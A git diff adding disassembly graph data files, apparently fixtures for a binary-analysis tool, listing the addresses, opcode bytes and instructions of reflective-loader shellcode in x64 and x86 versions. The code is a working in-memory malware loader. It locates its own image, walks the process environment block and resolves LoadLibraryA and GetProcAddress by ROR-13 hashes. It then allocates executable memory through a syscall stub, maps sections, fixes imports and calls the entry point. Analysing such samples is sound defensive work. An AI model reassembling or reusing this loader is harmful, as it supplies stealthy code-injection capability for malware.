0x147f + + + + + + + 0x1475 + instructions-graph + + 0x1475 + instructions + + 0x1475 + instruction + 8b55d8 + mov edx, dword ptr [rbp - 0x28] + + + 0x1478 + instruction + 4101540500 + add dword ptr [r13 + rax], edx + + + 0x147d + instruction + eb00 + jmp 0x147f + + + + + + 0x147f + instructions-graph + + 0x147f + instructions + + 0x147f + instruction + 4983c402 + add r12, 2 + + + 0x1483 + instruction + 41ffcf + dec r15d + + + 0x1486 + instruction + ebc2 + jmp 0x144a + + + + + + + 0x1488 + instructions-graph + + 0x1488 + instructions + + 0x1488 + instruction + 418b4604 + mov eax, dword ptr [r14 + 4] + + + 0x148c + instruction + 4901c6 + add r14, rax + + + 0x148f + instruction + eb9b + jmp 0x142c + + + + + + + 0x1491 + instructions-graph + + 0x1491 + instructions + + 0x1491 + instruction + 488b4dd0 + mov rcx, qword ptr [rbp - 0x30] + + + 0x1495 + instruction + 8b413c + mov eax, dword ptr [rcx + 0x3c] + + + 0x1498 + instruction + 4c8d2401 + lea r12, [rcx + rax] + + + 0x149c + instruction + 490fb7442414 + movzx rax, word ptr [r12 + 0x14] + + + 0x14a2 + instruction + 4d8d6c0418 + lea r13, [r12 + rax + 0x18] + + + 0x14a7 + instruction + 450fb77c2406 + movzx r15d, word ptr [r12 + 6] + + + + + + + + + + + + + 0x14ad + instructions-graph + + 0x14ad + instructions + + 0x14ad + instruction + 4585ff + test r15d, r15d + + + 0x14b0 + instruction + 7478 + je 0x152a + + + + + + 0x14b2 + instructions-graph + + 0x14b2 + instructions + + 0x14b2 + instruction + 418b4508 + mov eax, dword ptr [r13 + 8] + + + 0x14b6 + instruction + 85c0 + test eax, eax + + + 0x14b8 + instruction + 7467 + je 0x1521 + + + + + + + 0x14ba + instructions-graph + + 0x14ba + instructions + + 0x14ba + instruction + 418b4524 + mov eax, dword ptr [r13 + 0x24] + + + 0x14be + instruction + c1e81d + shr eax, 0x1d + + + 0x14c1 + instruction + 83e007 + and eax, 7 + + + 0x14c4 + instruction + e917010000 + jmp 0x15e0 + + + + + + + + 0x14c9 + instructions-graph + + 0x14c9 + instructions + + 0x14c9 + instruction + 5b + pop rbx + + + 0x14ca + instruction + 0fb61c03 + movzx ebx, byte ptr [rbx + rax] + + + 0x14ce + instruction + 4883ec48 + sub rsp, 0x48 + + + 0x14d2 + instruction + 418b450c + mov eax, dword ptr [r13 + 0xc] + + + 0x14d6 + instruction + 488b4dd0 + mov rcx, qword ptr [rbp - 0x30] + + + 0x14da + instruction + 4801c1 + add rcx, rax + + + 0x14dd + instruction + 48894c2430 + mov qword ptr [rsp + 0x30], rcx + + + 0x14e2 + instruction + 418b4508 + mov eax, dword ptr [r13 + 8] + + + 0x14e6 + instruction + 4889442438 + mov qword ptr [rsp + 0x38], rax + + + 0x14eb + instruction + c744244000000000 + mov dword ptr [rsp + 0x40], 0 + + + 0x14f3 + instruction + 48c7c1ffffffff + mov rcx, 0xffffffffffffffff + + + 0x14fa + instruction + 488d542430 + lea rdx, [rsp + 0x30] + + + 0x14ff + instruction + 4c8d442438 + lea r8, [rsp + 0x38] + + + 0x1504 + instruction + 4189d9 + mov r9d, ebx + + + 0x1507 + instruction + 488d442440 + lea rax, [rsp + 0x40] + + + 0x150c + instruction + 4889442420 + mov qword ptr [rsp + 0x20], rax + + + 0x1511 + instruction + 4c8b9568ffffff + mov r10, qword ptr [rbp - 0x98] + + + 0x1518 + instruction + e866000000 + call 0x1583 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0x151d + instructions-graph + + 0x151d + instructions + + 0x151d + instruction + 4883c448 + add rsp, 0x48 + + + + + 0x1521 + instructions-graph + + 0x1521 + instructions + + 0x1521 + instruction + 4983c528 + add r13, 0x28 + + + 0x1525 + instruction + 41ffcf + dec r15d + + + 0x1528 + instruction + eb83 + jmp 0x14ad + + + + + + + 0x152a + instructions-graph + + 0x152a + instructions + + 0x152a + instruction + 488b4dd0 + mov rcx, qword ptr [rbp - 0x30] + + + 0x152e + instruction + 8b413c + mov eax, dword ptr [rcx + 0x3c] + + + 0x1531 + instruction + 4c8d2401 + lea r12, [rcx + rax] + + + 0x1535 + instruction + 418b442428 + mov eax, dword ptr [r12 + 0x28] + + + 0x153a + instruction + 4c8b6dd0 + mov r13, qword ptr [rbp - 0x30] + + + 0x153e + instruction + 4901c5 + add r13, rax + + + 0x1541 + instruction + 4883ec28 + sub rsp, 0x28 + + + 0x1545 + instruction + 48c7c1ffffffff + mov rcx, 0xffffffffffffffff + + + 0x154c + instruction + 4831d2 + xor rdx, rdx + + + 0x154f + instruction + 4531c0 + xor r8d, r8d + + + 0x1552 + instruction + ff55e0 + call qword ptr [rbp - 0x20] + + + + + + + + + + + + + + + + + + + + + + + + + 0x1555 + instructions-graph + + 0x1555 + instructions + + 0x1555 + instruction + 4883c428 + add rsp, 0x28 + + + 0x1559 + instruction + 4883ec28 + sub rsp, 0x28 + + + 0x155d + instruction + 488b4dd0 + mov rcx, qword ptr [rbp - 0x30] + + + 0x1561 + instruction + ba01000000 + mov edx, 1 + + + 0x1566 + instruction + 4531c0 + xor r8d, r8d + + + 0x1569 + instruction + 41ffd5 + call r13 + + + + + + + + + + + 0x156c + instructions-graph + + 0x156c + instructions + + 0x156c + instruction + 4883c428 + add rsp, 0x28 + + + 0x1570 + instruction + 4c89e8 + mov rax, r13 + + + 0x1573 + instruction + 415f + pop r15 + + + 0x1575 + instruction + 415e + pop r14 + + + 0x1577 + instruction + 415d + pop r13 + + + 0x1579 + instruction + 415c + pop r12 + + + 0x157b + instruction + 5f + pop rdi + + + 0x157c + instruction + 5e + pop rsi + + + 0x157d + instruction + 5b + pop rbx + + + 0x157e + instruction + 4889ec + mov rsp, rbp + + + 0x1581 + instruction + 5d + pop rbp + + + 0x1582 + instruction + c3 + ret + + + + + + + + + + + + + + + + 0x1583 + instructions-graph + + 0x1583 + instructions + + 0x1583 + instruction + 418b4204 + mov eax, dword ptr [r10 + 4] + + + 0x1587 + instruction + 4d8d5a08 + lea r11, [r10 + 8] + + + 0x158b + instruction + 4989ca + mov r10, rcx + + + 0x158e + instruction + 41ffe3 + jmp r11 + + + + + + + + + 0x1591 + instructions-graph + + 0x1591 + instructions + + 0x1591 + instruction + 418b453c + mov eax, dword ptr [r13 + 0x3c] + + + 0x1595 + instruction + 498d5c0500 + lea rbx, [r13 + rax] + + + 0x159a + instruction + 8b8388000000 + mov eax, dword ptr [rbx + 0x88] + + + 0x15a0 + instruction + 498d4c0500 + lea rcx, [r13 + rax] + + + 0x15a5 + instruction + 48894dc0 + mov qword ptr [rbp - 0x40], rcx + + + 0x15a9 + instruction + 8b4118 + mov eax, dword ptr [rcx + 0x18] + + + 0x15ac + instruction + 48894590 + mov qword ptr [rbp - 0x70], rax + + + 0x15b0 + instruction + 8b4120 + mov eax, dword ptr [rcx + 0x20] + + + 0x15b3 + instruction + 498d440500 + lea rax, [r13 + rax] + + + 0x15b8 + instruction + 488945b8 + mov qword ptr [rbp - 0x48], rax + + + 0x15bc + instruction + 8b4124 + mov eax, dword ptr [rcx + 0x24] + + + 0x15bf + instruction + 498d440500 + lea rax, [r13 + rax] + + + 0x15c4 + instruction + 488945b0 + mov qword ptr [rbp - 0x50], rax + + + 0x15c8 + instruction + c3 + ret + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0x15c9 + instructions-graph + + 0x15c9 + instructions + + 0x15c9 + instruction + b800000000 + mov eax, 0 + + + + + 0x15ce + instructions-graph + + 0x15ce + instructions + + 0x15ce + instruction + 0fb619 + movzx ebx, byte ptr [rcx] + + + 0x15d1 + instruction + 85db + test ebx, ebx + + + 0x15d3 + instruction + 740a + je 0x15df + + + + + + + 0x15d5 + instructions-graph + + 0x15d5 + instructions + + 0x15d5 + instruction + c1c80d + ror eax, 0xd + + + 0x15d8 + instruction + 01d8 + add eax, ebx + + + 0x15da + instruction + 48ffc1 + inc rcx + + + 0x15dd + instruction + ebef + jmp 0x15ce + + + + + + + + + 0x15df + instructions-graph + + 0x15df + instructions + + 0x15df + instruction + c3 + ret + + + + + 0x15e0 + instructions-graph + + 0x15e0 + instructions + + 0x15e0 + instruction + e8e4feffff + call 0x14c9 + + + + + 0x15e5 + data + 0110022004400440 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/shellcode/reflective_loader.x86.graphml b/data/shellcode/reflective_loader.x86.graphml new file mode 100644 index 0000000000000..1a41284a89b4c --- /dev/null +++ b/data/shellcode/reflective_loader.x86.graphml @@ -0,0 +1,3620 @@ + + + + + + + + + + 0x1000 + instructions-graph + + 0x1000 + instructions + + 0x1000 + instruction + 55 + push ebp + + + 0x1001 + instruction + 89e5 + mov ebp, esp + + + 0x1003 + instruction + 83ec50 + sub esp, 0x50 + + + 0x1006 + instruction + 53 + push ebx + + + 0x1007 + instruction + 56 + push esi + + + 0x1008 + instruction + 57 + push edi + + + 0x1009 + instruction + 31c0 + xor eax, eax + + + 0x100b + instruction + 8945fc + mov dword ptr [ebp - 4], eax + + + 0x100e + instruction + 8945f8 + mov dword ptr [ebp - 8], eax + + + 0x1011 + instruction + 8945f4 + mov dword ptr [ebp - 0xc], eax + + + 0x1014 + instruction + 8945f0 + mov dword ptr [ebp - 0x10], eax + + + 0x1017 + instruction + 8945b4 + mov dword ptr [ebp - 0x4c], eax + + + 0x101a + instruction + 31c9 + xor ecx, ecx + + + 0x101c + instruction + 85c9 + test ecx, ecx + + + 0x101e + instruction + 7533 + jne 0x1053 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0x1020 + instructions-graph + + 0x1020 + instructions + + 0x1020 + instruction + e800000000 + call 0x1025 + + + + + 0x1025 + instructions-graph + + 0x1025 + instructions + + 0x1025 + instruction + 59 + pop ecx + + + 0x1026 + instruction + 81e100f0ffff + and ecx, 0xfffff000 + + + + + + 0x102c + instructions-graph + + 0x102c + instructions + + 0x102c + instruction + 6681394d5a + cmp word ptr [ecx], 0x5a4d + + + 0x1031 + instruction + 7518 + jne 0x104b + + + + + + 0x1033 + instructions-graph + + 0x1033 + instructions + + 0x1033 + instruction + 8b413c + mov eax, dword ptr [ecx + 0x3c] + + + 0x1036 + instruction + 83f840 + cmp eax, 0x40 + + + 0x1039 + instruction + 7210 + jb 0x104b + + + + + + + 0x103b + instructions-graph + + 0x103b + instructions + + 0x103b + instruction + 3d00040000 + cmp eax, 0x400 + + + 0x1040 + instruction + 7309 + jae 0x104b + + + + + + 0x1042 + instructions-graph + + 0x1042 + instructions + + 0x1042 + instruction + 813c0150450000 + cmp dword ptr [ecx + eax], 0x4550 + + + 0x1049 + instruction + 7408 + je 0x1053 + + + + + + 0x104b + instructions-graph + + 0x104b + instructions + + 0x104b + instruction + 81e900100000 + sub ecx, 0x1000 + + + 0x1051 + instruction + ebd9 + jmp 0x102c + + + + + + 0x1053 + instructions-graph + + 0x1053 + instructions + + 0x1053 + instruction + 894dec + mov dword ptr [ebp - 0x14], ecx + + + 0x1056 + instruction + 64a130000000 + mov eax, dword ptr fs:[0x30] + + + 0x105c + instruction + 8b400c + mov eax, dword ptr [eax + 0xc] + + + 0x105f + instruction + 8b4014 + mov eax, dword ptr [eax + 0x14] + + + + + + + + + + 0x1062 + instructions-graph + + 0x1062 + instructions + + 0x1062 + instruction + 85c0 + test eax, eax + + + 0x1064 + instruction + 0f847f010000 + je 0x11e9 + + + + + + 0x106a + instructions-graph + + 0x106a + instructions + + 0x106a + instruction + 8945d0 + mov dword ptr [ebp - 0x30], eax + + + 0x106d + instruction + 0fb74824 + movzx ecx, word ptr [eax + 0x24] + + + 0x1071 + instruction + 85c9 + test ecx, ecx + + + 0x1073 + instruction + 0f8466010000 + je 0x11df + + + + + + + + 0x1079 + instructions-graph + + 0x1079 + instructions + + 0x1079 + instruction + 8b5028 + mov edx, dword ptr [eax + 0x28] + + + 0x107c + instruction + bf00000000 + mov edi, 0 + + + + + 0x1081 + instructions-graph + + 0x1081 + instructions + + 0x1081 + instruction + c1cf0d + ror edi, 0xd + + + 0x1084 + instruction + 0fb61a + movzx ebx, byte ptr [edx] + + + 0x1087 + instruction + 80fb61 + cmp bl, 0x61 + + + 0x108a + instruction + 7203 + jb 0x108f + + + + + + + + 0x108c + instructions-graph + + 0x108c + instructions + + 0x108c + instruction + 80eb20 + sub bl, 0x20 + + + + + 0x108f + instructions-graph + + 0x108f + instructions + + 0x108f + instruction + 01df + add edi, ebx + + + 0x1091 + instruction + 42 + inc edx + + + 0x1092 + instruction + 49 + dec ecx + + + 0x1093 + instruction + 75ec + jne 0x1081 + + + + + + + + 0x1095 + instructions-graph + + 0x1095 + instructions + + 0x1095 + instruction + 81ff5bbc4a6a + cmp edi, 0x6a4abc5b + + + 0x109b + instruction + 7411 + je 0x10ae + + + + + + 0x109d + instructions-graph + + 0x109d + instructions + + 0x109d + instruction + 81ff5d68fa3c + cmp edi, 0x3cfa685d + + + 0x10a3 + instruction + 0f8489000000 + je 0x1132 + + + + + + 0x10a9 + instructions-graph + + 0x10a9 + instructions + + 0x10a9 + instruction + e931010000 + jmp 0x11df + + + + + 0x10ae + instructions-graph + + 0x10ae + instructions + + 0x10ae + instruction + 8b45d0 + mov eax, dword ptr [ebp - 0x30] + + + 0x10b1 + instruction + 8b7010 + mov esi, dword ptr [eax + 0x10] + + + 0x10b4 + instruction + 8975e8 + mov dword ptr [ebp - 0x18], esi + + + 0x10b7 + instruction + e862030000 + call 0x141e + + + + + + + + + 0x10bc + instructions-graph + + 0x10bc + instructions + + 0x10bc + instruction + c745bc02000000 + mov dword ptr [ebp - 0x44], 2 + + + + + 0x10c3 + instructions-graph + + 0x10c3 + instructions + + 0x10c3 + instruction + 8b45c8 + mov eax, dword ptr [ebp - 0x38] + + + 0x10c6 + instruction + 85c0 + test eax, eax + + + 0x10c8 + instruction + 0f84f3000000 + je 0x11c1 + + + + + + + 0x10ce + instructions-graph + + 0x10ce + instructions + + 0x10ce + instruction + 48 + dec eax + + + 0x10cf + instruction + 8945c8 + mov dword ptr [ebp - 0x38], eax + + + 0x10d2 + instruction + 8b4ddc + mov ecx, dword ptr [ebp - 0x24] + + + 0x10d5 + instruction + 8b09 + mov ecx, dword ptr [ecx] + + + 0x10d7 + instruction + 034de8 + add ecx, dword ptr [ebp - 0x18] + + + 0x10da + instruction + e866030000 + call 0x1445 + + + + + + + + + + + + + + 0x10df + instructions-graph + + 0x10df + instructions + + 0x10df + instruction + 8945b8 + mov dword ptr [ebp - 0x48], eax + + + 0x10e2 + instruction + 3d8e4e0eec + cmp eax, 0xec0e4e8e + + + 0x10e7 + instruction + 7409 + je 0x10f2 + + + + + + + 0x10e9 + instructions-graph + + 0x10e9 + instructions + + 0x10e9 + instruction + 3daafc0d7c + cmp eax, 0x7c0dfcaa + + + 0x10ee + instruction + 7402 + je 0x10f2 + + + + + + 0x10f0 + instructions-graph + + 0x10f0 + instructions + + 0x10f0 + instruction + eb36 + jmp 0x1128 + + + + + 0x10f2 + instructions-graph + + 0x10f2 + instructions + + 0x10f2 + instruction + 8b55e0 + mov edx, dword ptr [ebp - 0x20] + + + 0x10f5 + instruction + 8b521c + mov edx, dword ptr [edx + 0x1c] + + + 0x10f8 + instruction + 0355e8 + add edx, dword ptr [ebp - 0x18] + + + 0x10fb + instruction + 8b4dd8 + mov ecx, dword ptr [ebp - 0x28] + + + 0x10fe + instruction + 0fb709 + movzx ecx, word ptr [ecx] + + + 0x1101 + instruction + 8b148a + mov edx, dword ptr [edx + ecx*4] + + + 0x1104 + instruction + 0355e8 + add edx, dword ptr [ebp - 0x18] + + + 0x1107 + instruction + 8b45b8 + mov eax, dword ptr [ebp - 0x48] + + + 0x110a + instruction + 3d8e4e0eec + cmp eax, 0xec0e4e8e + + + 0x110f + instruction + 7505 + jne 0x1116 + + + + + + + + + + + + + + + 0x1111 + instructions-graph + + 0x1111 + instructions + + 0x1111 + instruction + 8955fc + mov dword ptr [ebp - 4], edx + + + 0x1114 + instruction + eb03 + jmp 0x1119 + + + + + + 0x1116 + instructions-graph + + 0x1116 + instructions + + 0x1116 + instruction + 8955f8 + mov dword ptr [ebp - 8], edx + + + + + 0x1119 + instructions-graph + + 0x1119 + instructions + + 0x1119 + instruction + 8b45bc + mov eax, dword ptr [ebp - 0x44] + + + 0x111c + instruction + 48 + dec eax + + + 0x111d + instruction + 8945bc + mov dword ptr [ebp - 0x44], eax + + + 0x1120 + instruction + 85c0 + test eax, eax + + + 0x1122 + instruction + 0f8499000000 + je 0x11c1 + + + + + + + + + + + 0x1128 + instructions-graph + + 0x1128 + instructions + + 0x1128 + instruction + 8345dc04 + add dword ptr [ebp - 0x24], 4 + + + 0x112c + instruction + 8345d802 + add dword ptr [ebp - 0x28], 2 + + + 0x1130 + instruction + eb91 + jmp 0x10c3 + + + + + + + 0x1132 + instructions-graph + + 0x1132 + instructions + + 0x1132 + instruction + 8b45d0 + mov eax, dword ptr [ebp - 0x30] + + + 0x1135 + instruction + 8b7010 + mov esi, dword ptr [eax + 0x10] + + + 0x1138 + instruction + 8975e8 + mov dword ptr [ebp - 0x18], esi + + + 0x113b + instruction + e8de020000 + call 0x141e + + + + + + + + + 0x1140 + instructions-graph + + 0x1140 + instructions + + 0x1140 + instruction + c745bc03000000 + mov dword ptr [ebp - 0x44], 3 + + + + + 0x1147 + instructions-graph + + 0x1147 + instructions + + 0x1147 + instruction + 8b45c8 + mov eax, dword ptr [ebp - 0x38] + + + 0x114a + instruction + 85c0 + test eax, eax + + + 0x114c + instruction + 7473 + je 0x11c1 + + + + + + + 0x114e + instructions-graph + + 0x114e + instructions + + 0x114e + instruction + 48 + dec eax + + + 0x114f + instruction + 8945c8 + mov dword ptr [ebp - 0x38], eax + + + 0x1152 + instruction + 8b4ddc + mov ecx, dword ptr [ebp - 0x24] + + + 0x1155 + instruction + 8b09 + mov ecx, dword ptr [ecx] + + + 0x1157 + instruction + 034de8 + add ecx, dword ptr [ebp - 0x18] + + + 0x115a + instruction + e8e6020000 + call 0x1445 + + + + + + + + + + + + + + 0x115f + instructions-graph + + 0x115f + instructions + + 0x115f + instruction + 8945b8 + mov dword ptr [ebp - 0x48], eax + + + 0x1162 + instruction + 3db80a4c53 + cmp eax, 0x534c0ab8 + + + 0x1167 + instruction + 7410 + je 0x1179 + + + + + + + 0x1169 + instructions-graph + + 0x1169 + instructions + + 0x1169 + instruction + 3ded4a3dd3 + cmp eax, 0xd33d4aed + + + 0x116e + instruction + 7409 + je 0x1179 + + + + + + 0x1170 + instructions-graph + + 0x1170 + instructions + + 0x1170 + instruction + 3d894d3fbc + cmp eax, 0xbc3f4d89 + + + 0x1175 + instruction + 7402 + je 0x1179 + + + + + + 0x1177 + instructions-graph + + 0x1177 + instructions + + 0x1177 + instruction + eb3e + jmp 0x11b7 + + + + + 0x1179 + instructions-graph + + 0x1179 + instructions + + 0x1179 + instruction + 8b55e0 + mov edx, dword ptr [ebp - 0x20] + + + 0x117c + instruction + 8b521c + mov edx, dword ptr [edx + 0x1c] + + + 0x117f + instruction + 0355e8 + add edx, dword ptr [ebp - 0x18] + + + 0x1182 + instruction + 8b4dd8 + mov ecx, dword ptr [ebp - 0x28] + + + 0x1185 + instruction + 0fb709 + movzx ecx, word ptr [ecx] + + + 0x1188 + instruction + 8b148a + mov edx, dword ptr [edx + ecx*4] + + + 0x118b + instruction + 0355e8 + add edx, dword ptr [ebp - 0x18] + + + 0x118e + instruction + 8b45b8 + mov eax, dword ptr [ebp - 0x48] + + + 0x1191 + instruction + 3db80a4c53 + cmp eax, 0x534c0ab8 + + + 0x1196 + instruction + 7505 + jne 0x119d + + + + + + + + + + + + + + + 0x1198 + instructions-graph + + 0x1198 + instructions + + 0x1198 + instruction + 8955f0 + mov dword ptr [ebp - 0x10], edx + + + 0x119b + instruction + eb0f + jmp 0x11ac + + + + + + 0x119d + instructions-graph + + 0x119d + instructions + + 0x119d + instruction + 3ded4a3dd3 + cmp eax, 0xd33d4aed + + + 0x11a2 + instruction + 7505 + jne 0x11a9 + + + + + + 0x11a4 + instructions-graph + + 0x11a4 + instructions + + 0x11a4 + instruction + 8955f4 + mov dword ptr [ebp - 0xc], edx + + + 0x11a7 + instruction + eb03 + jmp 0x11ac + + + + + + 0x11a9 + instructions-graph + + 0x11a9 + instructions + + 0x11a9 + instruction + 8955b4 + mov dword ptr [ebp - 0x4c], edx + + + + + 0x11ac + instructions-graph + + 0x11ac + instructions + + 0x11ac + instruction + 8b45bc + mov eax, dword ptr [ebp - 0x44] + + + 0x11af + instruction + 48 + dec eax + + + 0x11b0 + instruction + 8945bc + mov dword ptr [ebp - 0x44], eax + + + 0x11b3 + instruction + 85c0 + test eax, eax + + + 0x11b5 + instruction + 740a + je 0x11c1 + + + + + + + + + + + 0x11b7 + instructions-graph + + 0x11b7 + instructions + + 0x11b7 + instruction + 8345dc04 + add dword ptr [ebp - 0x24], 4 + + + 0x11bb + instruction + 8345d802 + add dword ptr [ebp - 0x28], 2 + + + 0x11bf + instruction + eb86 + jmp 0x1147 + + + + + + + 0x11c1 + instructions-graph + + 0x11c1 + instructions + + 0x11c1 + instruction + 837dfc00 + cmp dword ptr [ebp - 4], 0 + + + 0x11c5 + instruction + 7418 + je 0x11df + + + + + + 0x11c7 + instructions-graph + + 0x11c7 + instructions + + 0x11c7 + instruction + 837df800 + cmp dword ptr [ebp - 8], 0 + + + 0x11cb + instruction + 7412 + je 0x11df + + + + + + 0x11cd + instructions-graph + + 0x11cd + instructions + + 0x11cd + instruction + 837df400 + cmp dword ptr [ebp - 0xc], 0 + + + 0x11d1 + instruction + 740c + je 0x11df + + + + + + 0x11d3 + instructions-graph + + 0x11d3 + instructions + + 0x11d3 + instruction + 837db400 + cmp dword ptr [ebp - 0x4c], 0 + + + 0x11d7 + instruction + 7406 + je 0x11df + + + + + + 0x11d9 + instructions-graph + + 0x11d9 + instructions + + 0x11d9 + instruction + 837df000 + cmp dword ptr [ebp - 0x10], 0 + + + 0x11dd + instruction + 750a + jne 0x11e9 + + + + + + 0x11df + instructions-graph + + 0x11df + instructions + + 0x11df + instruction + 8b45d0 + mov eax, dword ptr [ebp - 0x30] + + + 0x11e2 + instruction + 8b00 + mov eax, dword ptr [eax] + + + 0x11e4 + instruction + e979feffff + jmp 0x1062 + + + + + + + 0x11e9 + instructions-graph + + 0x11e9 + instructions + + 0x11e9 + instruction + 8b4dec + mov ecx, dword ptr [ebp - 0x14] + + + 0x11ec + instruction + 8b413c + mov eax, dword ptr [ecx + 0x3c] + + + 0x11ef + instruction + 01c8 + add eax, ecx + + + 0x11f1 + instruction + 8945e4 + mov dword ptr [ebp - 0x1c], eax + + + 0x11f4 + instruction + 83ec08 + sub esp, 8 + + + 0x11f7 + instruction + c7042400000000 + mov dword ptr [esp], 0 + + + 0x11fe + instruction + 8b55e4 + mov edx, dword ptr [ebp - 0x1c] + + + 0x1201 + instruction + 8b5250 + mov edx, dword ptr [edx + 0x50] + + + 0x1204 + instruction + 89542404 + mov dword ptr [esp + 4], edx + + + 0x1208 + instruction + 6a40 + push 0x40 + + + 0x120a + instruction + 6800300000 + push 0x3000 + + + 0x120f + instruction + 8d44240c + lea eax, [esp + 0xc] + + + 0x1213 + instruction + 50 + push eax + + + 0x1214 + instruction + 6a00 + push 0 + + + 0x1216 + instruction + 8d442410 + lea eax, [esp + 0x10] + + + 0x121a + instruction + 50 + push eax + + + 0x121b + instruction + 6aff + push -1 + + + 0x121d + instruction + 8b55f4 + mov edx, dword ptr [ebp - 0xc] + + + 0x1220 + instruction + e8f1010000 + call 0x1416 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0x1225 + instructions-graph + + 0x1225 + instructions + + 0x1225 + instruction + 8b0424 + mov eax, dword ptr [esp] + + + 0x1228 + instruction + 83c408 + add esp, 8 + + + 0x122b + instruction + 8945e8 + mov dword ptr [ebp - 0x18], eax + + + 0x122e + instruction + 8b55e4 + mov edx, dword ptr [ebp - 0x1c] + + + 0x1231 + instruction + 8b4a54 + mov ecx, dword ptr [edx + 0x54] + + + 0x1234 + instruction + 8b75ec + mov esi, dword ptr [ebp - 0x14] + + + 0x1237 + instruction + 8b7de8 + mov edi, dword ptr [ebp - 0x18] + + + + + + + + + + 0x123a + instructions-graph + + 0x123a + instructions + + 0x123a + instruction + f3a4 + rep movsb byte ptr es:[edi], byte ptr [esi] + + + + + 0x123c + instructions-graph + + 0x123c + instructions + + 0x123c + instruction + 8b55e4 + mov edx, dword ptr [ebp - 0x1c] + + + 0x123f + instruction + 0fb74214 + movzx eax, word ptr [edx + 0x14] + + + 0x1243 + instruction + 8d5c0218 + lea ebx, [edx + eax + 0x18] + + + 0x1247 + instruction + 0fb74206 + movzx eax, word ptr [edx + 6] + + + 0x124b + instruction + 8945cc + mov dword ptr [ebp - 0x34], eax + + + + + + + + + + + + + 0x124e + instructions-graph + + 0x124e + instructions + + 0x124e + instruction + 837dcc00 + cmp dword ptr [ebp - 0x34], 0 + + + 0x1252 + instruction + 741d + je 0x1271 + + + + + + 0x1254 + instructions-graph + + 0x1254 + instructions + + 0x1254 + instruction + 8b430c + mov eax, dword ptr [ebx + 0xc] + + + 0x1257 + instruction + 8b7de8 + mov edi, dword ptr [ebp - 0x18] + + + 0x125a + instruction + 01c7 + add edi, eax + + + 0x125c + instruction + 8b4314 + mov eax, dword ptr [ebx + 0x14] + + + 0x125f + instruction + 8b75ec + mov esi, dword ptr [ebp - 0x14] + + + 0x1262 + instruction + 01c6 + add esi, eax + + + 0x1264 + instruction + 8b4b10 + mov ecx, dword ptr [ebx + 0x10] + + + + + + + + + + + + 0x1267 + instructions-graph + + 0x1267 + instructions + + 0x1267 + instruction + f3a4 + rep movsb byte ptr es:[edi], byte ptr [esi] + + + + + 0x1269 + instructions-graph + + 0x1269 + instructions + + 0x1269 + instruction + 83c328 + add ebx, 0x28 + + + 0x126c + instruction + ff4dcc + dec dword ptr [ebp - 0x34] + + + 0x126f + instruction + ebdd + jmp 0x124e + + + + + + + 0x1271 + instructions-graph + + 0x1271 + instructions + + 0x1271 + instruction + 8b55e4 + mov edx, dword ptr [ebp - 0x1c] + + + 0x1274 + instruction + 8b8280000000 + mov eax, dword ptr [edx + 0x80] + + + 0x127a + instruction + 85c0 + test eax, eax + + + 0x127c + instruction + 746d + je 0x12eb + + + + + + + + 0x127e + instructions-graph + + 0x127e + instructions + + 0x127e + instruction + 0345e8 + add eax, dword ptr [ebp - 0x18] + + + 0x1281 + instruction + 8945c4 + mov dword ptr [ebp - 0x3c], eax + + + + + + 0x1284 + instructions-graph + + 0x1284 + instructions + + 0x1284 + instruction + 8b55c4 + mov edx, dword ptr [ebp - 0x3c] + + + 0x1287 + instruction + 8b420c + mov eax, dword ptr [edx + 0xc] + + + 0x128a + instruction + 85c0 + test eax, eax + + + 0x128c + instruction + 745d + je 0x12eb + + + + + + + + 0x128e + instructions-graph + + 0x128e + instructions + + 0x128e + instruction + 0345e8 + add eax, dword ptr [ebp - 0x18] + + + 0x1291 + instruction + 50 + push eax + + + 0x1292 + instruction + ff55fc + call dword ptr [ebp - 4] + + + + + + + 0x1295 + instructions-graph + + 0x1295 + instructions + + 0x1295 + instruction + 8945c0 + mov dword ptr [ebp - 0x40], eax + + + 0x1298 + instruction + 8b55c4 + mov edx, dword ptr [ebp - 0x3c] + + + 0x129b + instruction + 8b02 + mov eax, dword ptr [edx] + + + 0x129d + instruction + 85c0 + test eax, eax + + + 0x129f + instruction + 7503 + jne 0x12a4 + + + + + + + + + 0x12a1 + instructions-graph + + 0x12a1 + instructions + + 0x12a1 + instruction + 8b4210 + mov eax, dword ptr [edx + 0x10] + + + + + 0x12a4 + instructions-graph + + 0x12a4 + instructions + + 0x12a4 + instruction + 0345e8 + add eax, dword ptr [ebp - 0x18] + + + 0x12a7 + instruction + 89c6 + mov esi, eax + + + 0x12a9 + instruction + 8b4210 + mov eax, dword ptr [edx + 0x10] + + + 0x12ac + instruction + 0345e8 + add eax, dword ptr [ebp - 0x18] + + + 0x12af + instruction + 89c7 + mov edi, eax + + + + + + + + + + + 0x12b1 + instructions-graph + + 0x12b1 + instructions + + 0x12b1 + instruction + 8b06 + mov eax, dword ptr [esi] + + + 0x12b3 + instruction + 85c0 + test eax, eax + + + 0x12b5 + instruction + 742e + je 0x12e5 + + + + + + + 0x12b7 + instructions-graph + + 0x12b7 + instructions + + 0x12b7 + instruction + a900000080 + test eax, 0x80000000 + + + 0x12bc + instruction + 7511 + jne 0x12cf + + + + + + 0x12be + instructions-graph + + 0x12be + instructions + + 0x12be + instruction + 0345e8 + add eax, dword ptr [ebp - 0x18] + + + 0x12c1 + instruction + 83c002 + add eax, 2 + + + 0x12c4 + instruction + 50 + push eax + + + 0x12c5 + instruction + ff75c0 + push dword ptr [ebp - 0x40] + + + 0x12c8 + instruction + ff55f8 + call dword ptr [ebp - 8] + + + + + + + + + + 0x12cb + instructions-graph + + 0x12cb + instructions + + 0x12cb + instruction + 8907 + mov dword ptr [edi], eax + + + 0x12cd + instruction + eb0e + jmp 0x12dd + + + + + + 0x12cf + instructions-graph + + 0x12cf + instructions + + 0x12cf + instruction + 25ffff0000 + and eax, 0xffff + + + 0x12d4 + instruction + 50 + push eax + + + 0x12d5 + instruction + ff75c0 + push dword ptr [ebp - 0x40] + + + 0x12d8 + instruction + ff55f8 + call dword ptr [ebp - 8] + + + + + + + + 0x12db + instructions-graph + + 0x12db + instructions + + 0x12db + instruction + 8907 + mov dword ptr [edi], eax + + + + + 0x12dd + instructions-graph + + 0x12dd + instructions + + 0x12dd + instruction + 